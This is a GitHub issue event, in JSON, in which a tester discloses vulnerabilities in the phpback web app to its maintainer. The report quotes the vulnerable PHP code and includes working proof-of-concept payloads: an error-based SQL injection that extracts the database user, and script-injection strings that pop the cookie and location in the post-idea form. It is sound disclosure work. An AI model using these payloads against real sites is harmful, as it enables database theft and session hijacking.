{"action":"created","issue":{"url":"https://api.github.com/repos/ivandiazwm/phpback/issues/59","repository_url":"https://api.github.com/repos/ivandiazwm/phpback","labels_url":"https://api.github.com/repos/ivandiazwm/phpback/issues/59/labels{/name}","comments_url":"https://api.github.com/repos/ivandiazwm/phpback/issues/59/comments","events_url":"https://api.github.com/repos/ivandiazwm/phpback/issues/59/events","html_url":"https://github.com/ivandiazwm/phpback/issues/59","id":150773079,"number":59,"title":"SQL Injection vulnerability in home controller","user":{"login":"incredibleindishell","id":10351062,"avatar_url":"https://avatars.githubusercontent.com/u/10351062?v=3","gravatar_id":"","url":"https://api.github.com/users/incredibleindishell","html_url":"https://github.com/incredibleindishell","followers_url":"https://api.github.com/users/incredibleindishell/followers","following_url":"https://api.github.com/users/incredibleindishell/following{/other_user}","gists_url":"https://api.github.com/users/incredibleindishell/gists{/gist_id}","starred_url":"https://api.github.com/users/incredibleindishell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/incredibleindishell/subscriptions","organizations_url":"https://api.github.com/users/incredibleindishell/orgs","repos_url":"https://api.github.com/users/incredibleindishell/repos","events_url":"https://api.github.com/users/incredibleindishell/events{/privacy}","received_events_url":"https://api.github.com/users/incredibleindishell/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":{"login":"ivandiazwm","id":6447076,"avatar_url":"https://avatars.githubusercontent.com/u/6447076?v=3","gravatar_id":"","url":"https://api.github.com/users/ivandiazwm","html_url":"https://github.com/ivandiazwm","followers_url":"https://api.github.com/users/ivandiazwm/followers","following_url":"https://api.github.com/users/ivandiazwm/following{/other_user}","gists_url":"https://api.github.com/users/ivandiazwm/gists{/gist_id}","starred_url":"https://api.github.com/users/ivandiazwm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ivandiazwm/subscriptions","organizations_url":"https://api.github.com/users/ivandiazwm/orgs","repos_url":"https://api.github.com/users/ivandiazwm/repos","events_url":"https://api.github.com/users/ivandiazwm/events{/privacy}","received_events_url":"https://api.github.com/users/ivandiazwm/received_events","type":"User","site_admin":false},"milestone":null,"comments":2,"created_at":"2016-04-25T07:24:53Z","updated_at":"2016-04-26T08:23:03Z","closed_at":null,"body":"Hi, \r\nI was testing code for security vulnerabilities and got few one. i am not done with my testing but still i want to update you.\r\nin home controller, code for search functionality\r\n --------------------------------------------------------------------------\r\n `public function search() {\r\n        $data = $this->getDefaultData();\r\n\r\n        $query = $this->input->post('query');\r\n        $data['ideas'] = $this->get->getIdeasBySearchQuery($query);`\r\n-------------------------------------------------------------------------------\r\ndata from post  parameter 'query' is passing to function getIdeasBySearchQuery\r\nand in getIdeasBySearchQuery function, code is exploding input data on the basis of space and then crafting SQL query. In whole process, user supplied data is not getting filter which is arising remote SQL Injection vulnerability.\r\nPayload to confirm the vulnerability is \r\nURL\r\nhttp://127.0.0.1/phpback-master/home/search\r\npost data\r\n-----------\r\nquery=')%0Aor%0Aextractvalue(6678,concat(0x7e,(select%0Auser()),0x7e))--%0A%23\r\n\r\nabove injected request will fetch database user username\r\ni have figured out other vulnerabilities to which i will drop soon\r\nThank you\r\n\r\n![search_sqli](https://cloud.githubusercontent.com/assets/10351062/14776703/c9440524-0ae5-11e6-9240-a37a685a72b1.png)\r\n"},"comment":{"url":"https://api.github.com/repos/ivandiazwm/phpback/issues/comments/214665507","html_url":"https://github.com/ivandiazwm/phpback/issues/59#issuecomment-214665507","issue_url":"https://api.github.com/repos/ivandiazwm/phpback/issues/59","id":214665507,"user":{"login":"incredibleindishell","id":10351062,"avatar_url":"https://avatars.githubusercontent.com/u/10351062?v=3","gravatar_id":"","url":"https://api.github.com/users/incredibleindishell","html_url":"https://github.com/incredibleindishell","followers_url":"https://api.github.com/users/incredibleindishell/followers","following_url":"https://api.github.com/users/incredibleindishell/following{/other_user}","gists_url":"https://api.github.com/users/incredibleindishell/gists{/gist_id}","starred_url":"https://api.github.com/users/incredibleindishell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/incredibleindishell/subscriptions","organizations_url":"https://api.github.com/users/incredibleindishell/orgs","repos_url":"https://api.github.com/users/incredibleindishell/repos","events_url":"https://api.github.com/users/incredibleindishell/events{/privacy}","received_events_url":"https://api.github.com/users/incredibleindishell/received_events","type":"User","site_admin":false},"created_at":"2016-04-26T08:23:03Z","updated_at":"2016-04-26T08:23:03Z","body":"Hi,\r\nSQL Injection has been fixed in latest one, sorry i was having 2 week old code of your script :) \r\nJust want to update you regarding another vulnerability too.\r\nI found Cross site scripting (XSS) in \"post idea\" view\r\nVulnerable code\r\n--------------------------------------------------\r\nline number 26 \r\n <input type=\"text\" class=\"form-control\" name=\"title\" value=\"<?php if(@isset($POST['title'])) echo $POST['title'];?>\">\r\n\r\nLine number 39\r\n<textarea class=\"form-control\" rows=\"4\" name=\"description\"><?php if(@isset($POST['desc'])) echo $POST['desc'];?></textarea>\r\n----------------------------------------------------\r\nURL\r\nhttp://127.0.0.1/phpback-master/home/postidea\r\n\r\nPost data\r\n-----------\r\n\r\nin desc parameter\r\ndesc=</textarea><script>alert(document.cookie);</script>\r\nin title parameter\r\n\r\ntitle=\"><script>alert(document.location);</script>\r\nFind the attached screenshots POCs\r\n\r\n![xss_desc_parameter](https://cloud.githubusercontent.com/assets/10351062/14811513/14fbebdc-0bb6-11e6-8ea5-229e2ab71eb8.png)\r\n![xss_title_parameter](https://cloud.githubusercontent.com/assets/10351062/14811514/1526fb1a-0bb6-11e6-8bf7-27881bcf205c.png)"}}